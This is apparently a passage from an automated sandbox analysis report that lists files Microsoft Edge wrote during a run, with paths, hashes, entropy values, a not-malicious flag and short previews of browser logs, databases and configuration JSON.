Preview:	...m.................DB_VERSION.1.X.!q...............&QUERY_TIMESTAMP:domains_config_gz2...13379413210461712..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.102054152937338
Encrypted:	false
SSDEEP:	6:Ewats1qLTwi23oH+Tcwtk2WwnvB2KLlSyjUDq2PqLTwi23oH+Tcwtk2WwnvIFUv:EwavwZYebkxwnvFL8GSv8wZYebkxwnQg
MD5:	25B234977D0BC69EC55DA6D9EC661668
SHA1:	C635BC7BF9185A64F25A8F012B9C3CD0AEC56BCD
SHA-256:	2AB6EDC2CA9D4C60DEA6A8308D1213F0C3800ABAB4A9C51BC96F85F163BEE9A9
SHA-512:	DDE233FE5B6B64885F82B3E9CE52FB37CB0AFEDA2DBCF07C83EA500DD6339C002EA41ABC286579E87177A4AFDF584E3CE3B4DC7360E30B6C46936C9BE79B1B64
Malicious:	false
Preview:	2024/12/23-02:40:06.146 1d10 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/23-02:40:06.164 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611356198276
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RS:C1gAg1zfvK
MD5:	3F66E7E3D115A5ABA4A81CE6FBAC653D
SHA1:	AE714F4DE098A9CDF3515160B3CA792AF68392D3
SHA-256:	F279D23E305D5838240E398160602167246D60CA6EBCA8B27EF130C0560D3E18
SHA-512:	8BAE460F858750C155FCBE784815476080603E0EA66BFFF0277A724DD74124BB95163C93DB507E66348F821D100F946F2BFCB0B5F07BB32D8C767E4E58E9DD6B
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.192948197045496
Encrypted:	false
SSDEEP:	6:ARkiQ+q2PqLTwi23oH+Tcwt8aPrqIFUt8fRFDgZmw+fR5QVkwOqLTwi23oH+TcwC:YkiQ+v8wZYebL3FUt8Z5g/+Z5QV5TwZE
MD5:	B8FAF50034AF38202028B57E3FAC1081
SHA1:	0AF4092D73E2002E733AC9765AC6C4EBA83570DD
SHA-256:	1A0321A90AA63543F70C01D6A1D5E230A528B843CB7986FB6400124A8C9712FE
SHA-512:	448381810665010ACCAD61424D09174ADE4F7E890AC8A7EC351CD6175112D50439A9F41B92C0A6A4D8A6B97E64E5D8D37E1F71EF920579D66B36F0B3B7F3CC27
Malicious:	false
Preview:	2024/12/23-02:39:59.604 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/23-02:39:59.619 79c Recovering log #3.2024/12/23-02:39:59.620 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.192948197045496
Encrypted:	false
SSDEEP:	6:ARkiQ+q2PqLTwi23oH+Tcwt8aPrqIFUt8fRFDgZmw+fR5QVkwOqLTwi23oH+TcwC:YkiQ+v8wZYebL3FUt8Z5g/+Z5QV5TwZE
MD5:	B8FAF50034AF38202028B57E3FAC1081
SHA1:	0AF4092D73E2002E733AC9765AC6C4EBA83570DD
SHA-256:	1A0321A90AA63543F70C01D6A1D5E230A528B843CB7986FB6400124A8C9712FE
SHA-512:	448381810665010ACCAD61424D09174ADE4F7E890AC8A7EC351CD6175112D50439A9F41B92C0A6A4D8A6B97E64E5D8D37E1F71EF920579D66B36F0B3B7F3CC27
Malicious:	false
Preview:	2024/12/23-02:39:59.604 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/23-02:39:59.619 79c Recovering log #3.2024/12/23-02:39:59.620 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.198943596555137
Encrypted:	false
SSDEEP:	6:ARnQ+q2PqLTwi23oH+Tcwt865IFUt8fRngZmw+fRnQVkwOqLTwi23oH+Tcwt86+e:YnQ+v8wZYeb/WFUt8Zng/+ZnQV5TwZY4
MD5:	B98750C8C0BC6D315622A8A8BE2E3561
SHA1:	B7D5EEF0AD5DECC86275F8440EE309F85FF53293
SHA-256:	334D42F18095A8EFE099B7F5A50CCE56326717ECE4FDC4AEAD7DD4AA57888F5F
SHA-512:	3B68567221BBE8C0BB0F1BA213EFC9EAE2E844B5C81D063D1FD7CBC3C9889C5118E120B8CE82843CFA8838A62CE37075C47073E24942CB333FD2C3041C601FF9
Malicious:	false
Preview:	2024/12/23-02:39:59.626 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/23-02:39:59.626 79c Recovering log #3.2024/12/23-02:39:59.626 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.198943596555137
Encrypted:	false
SSDEEP:	6:ARnQ+q2PqLTwi23oH+Tcwt865IFUt8fRngZmw+fRnQVkwOqLTwi23oH+Tcwt86+e:YnQ+v8wZYeb/WFUt8Zng/+ZnQV5TwZY4
MD5:	B98750C8C0BC6D315622A8A8BE2E3561
SHA1:	B7D5EEF0AD5DECC86275F8440EE309F85FF53293
SHA-256:	334D42F18095A8EFE099B7F5A50CCE56326717ECE4FDC4AEAD7DD4AA57888F5F
SHA-512:	3B68567221BBE8C0BB0F1BA213EFC9EAE2E844B5C81D063D1FD7CBC3C9889C5118E120B8CE82843CFA8838A62CE37075C47073E24942CB333FD2C3041C601FF9
Malicious:	false
Preview:	2024/12/23-02:39:59.626 79c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/23-02:39:59.626 79c Recovering log #3.2024/12/23-02:39:59.626 79c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.106145993652062
Encrypted:	false
SSDEEP:	6:Ed9+q2PqLTwi23oH+Tcwt8NIFUt8F5+Zmw+F56VkwOqLTwi23oH+Tcwt8+eLJ:Ed4v8wZYebpFUt8FI/+FQ5TwZYebqJ
MD5:	F8142A028C3B26132B5355EC89A1C3ED
SHA1:	1CB077F12AD846D440533105AB28626AAAB30BD4
SHA-256:	1B3DF68B65A03AAFF9B8865995D0E1330999C043685C22AD218A65B81BD42AE8
SHA-512:	1381E4DE349704AF64388AF7F4F932B83CCAF725F1D35B3D6455C0E6DA7453C3E0B7F1F0D8BB5C3C08395370511465B746EB4368DDBA03AC2AF4D5EE1CB37B0C
Malicious:	false
Preview:	2024/12/23-02:40:00.373 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/23-02:40:00.374 878 Recovering log #3.2024/12/23-02:40:00.374 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.106145993652062
Encrypted:	false
SSDEEP:	6:Ed9+q2PqLTwi23oH+Tcwt8NIFUt8F5+Zmw+F56VkwOqLTwi23oH+Tcwt8+eLJ:Ed4v8wZYebpFUt8FI/+FQ5TwZYebqJ
MD5:	F8142A028C3B26132B5355EC89A1C3ED
SHA1:	1CB077F12AD846D440533105AB28626AAAB30BD4
SHA-256:	1B3DF68B65A03AAFF9B8865995D0E1330999C043685C22AD218A65B81BD42AE8
SHA-512:	1381E4DE349704AF64388AF7F4F932B83CCAF725F1D35B3D6455C0E6DA7453C3E0B7F1F0D8BB5C3C08395370511465B746EB4368DDBA03AC2AF4D5EE1CB37B0C
Malicious:	false
Preview:	2024/12/23-02:40:00.373 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/23-02:40:00.374 878 Recovering log #3.2024/12/23-02:40:00.374 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5662807397736084
Encrypted:	false
SSDEEP:	96:+onr3WyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE1cRe:+G6hH+bDo3iN0Z2TVJkXBBE3ybW
MD5:	8A9B10852C627B81609F9C1EEE9353DC
SHA1:	C2CF4B7C831661FD904E94E8F28010B84CEEB800
SHA-256:	9AF80F3E4D9E5EB1559380A28CA055DE741FC864E2655A89D3C320A000A059BD
SHA-512:	9F59EBEEDF705B078A44ED8B853C2850E8481F52E8018B90C89CD3BBCD6C380EDB7CFF151B7F0B99CA10A0751F08DD4A9CDB760C186C003615AE68E2295BDFF4
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:Wz5lntFlljq7A/mhWJFuQ3yy7IOWUG5l/ol/dweytllrE9SFcTp4AGbNCV9RUIjn:WM75fO47wl/d0Xi99pEYd
MD5:	A556F1E8B239293259AE6639B65C8D43
SHA1:	8F91C2C1ACBCF993433A4FCF65E5C43243ACD428
SHA-256:	4F4FBC0FD637EFC04E1228148A1C36C7D46C7009A15FA55A66EE37E2E867D13C
SHA-512:	9C5E062C7D1CC01A816F9F9144375BA5F3B1F067136A1523579E8105120B37FE1F8240DFCEC681C4D93841E0DFBBD72180EAF3B1A96824DE33CCB57C507B85BB
Malicious:	false
Preview:	.............v>x...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918741032637096
Encrypted:	false
SSDEEP:	384:jj9P0AQP/KbtfjlgQkQerGcNhkCgam6IN773pL4RKToaAu:jdFQP/ylge2pN+F97yRKcC
MD5:	E06FD8B512CB4B6F8B72F8E27C3248C7
SHA1:	F2C6E5D45281239E0E5CC8BC3A35D5A219FF03CE
SHA-256:	5541CC622233149EA075DA6AEE78EBE288418E9F7E8056B1E2347DE026289777
SHA-512:	5D40D29A95052D2D4CE4C264ACCAA635BAAAC0A31A9F444828047BD8BE266771B781194E0FBCE09C99120CCE5B05A2389CFB0363E745764A8C31799F6C445B4C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	401
Entropy (8bit):	5.267850155536052
Encrypted:	false
SSDEEP:	12:E4kZv8wZYeb8rcHEZrELFUt8F4y/+F4+5TwZYeb8rcHEZrEZSJ:EFl8wZYeb8nZrExg8F2FTwZYeb8nZrE8
MD5:	99C0E54052B143C77A05BB3BD3D0611F
SHA1:	D5675FDFF366737A62F273661880162C1D48D233
SHA-256:	3DDF7C7085F853A52505927AC382158A149FC586DC850FEC43CB1FB5F97E69CD
SHA-512:	F5C4C0F8CAAD3C6080DAC6B6E660CF56090E2F6F3BB24785FE574BF9628ADA8B060DE5CC716897B417DE2FA22FE26FC56419458A173BC3CF9ACC8ACB172706F1
Malicious:	false
Preview:	2024/12/23-02:40:05.557 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/23-02:40:05.558 878 Recovering log #3.2024/12/23-02:40:05.558 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	401
Entropy (8bit):	5.267850155536052
Encrypted:	false
SSDEEP:	12:E4kZv8wZYeb8rcHEZrELFUt8F4y/+F4+5TwZYeb8rcHEZrEZSJ:EFl8wZYeb8nZrExg8F2FTwZYeb8nZrE8
MD5:	99C0E54052B143C77A05BB3BD3D0611F
SHA1:	D5675FDFF366737A62F273661880162C1D48D233
SHA-256:	3DDF7C7085F853A52505927AC382158A149FC586DC850FEC43CB1FB5F97E69CD
SHA-512:	F5C4C0F8CAAD3C6080DAC6B6E660CF56090E2F6F3BB24785FE574BF9628ADA8B060DE5CC716897B417DE2FA22FE26FC56419458A173BC3CF9ACC8ACB172706F1
Malicious:	false
Preview:	2024/12/23-02:40:05.557 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/23-02:40:05.558 878 Recovering log #3.2024/12/23-02:40:05.558 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.11253780517086
Encrypted:	false
SSDEEP:	6:E2+q2PqLTwi23oH+Tcwt8a2jMGIFUt8FcZmw+FqE3VkwOqLTwi23oH+Tcwt8a2jz:E3v8wZYeb8EFUt8Fc/+Fr5TwZYeb8bJ
MD5:	226EFC159C766DB0B176F7CC9C256E23
SHA1:	4C50EF96D30450B4D52E2F775D42DB2ECA5577AF
SHA-256:	5006A4971F2C2CCEFA62C66B49E7072EE4C917CDEEAC99A6D87D70FB02BE46DF
SHA-512:	A06A8E6F4830A71334B0C3C03B84DF96DD3336622C2CA5F92C7A4CCF634BD9DE1B1FE4A4182FF0AA65F689F24BC1C73688003CB2D622A5FB3B5FA7A4F6340B91
Malicious:	false
Preview:	2024/12/23-02:40:00.493 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.495 14d8 Recovering log #3.2024/12/23-02:40:00.500 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.11253780517086
Encrypted:	false
SSDEEP:	6:E2+q2PqLTwi23oH+Tcwt8a2jMGIFUt8FcZmw+FqE3VkwOqLTwi23oH+Tcwt8a2jz:E3v8wZYeb8EFUt8Fc/+Fr5TwZYeb8bJ
MD5:	226EFC159C766DB0B176F7CC9C256E23
SHA1:	4C50EF96D30450B4D52E2F775D42DB2ECA5577AF
SHA-256:	5006A4971F2C2CCEFA62C66B49E7072EE4C917CDEEAC99A6D87D70FB02BE46DF
SHA-512:	A06A8E6F4830A71334B0C3C03B84DF96DD3336622C2CA5F92C7A4CCF634BD9DE1B1FE4A4182FF0AA65F689F24BC1C73688003CB2D622A5FB3B5FA7A4F6340B91
Malicious:	false
Preview:	2024/12/23-02:40:00.493 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.495 14d8 Recovering log #3.2024/12/23-02:40:00.500 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

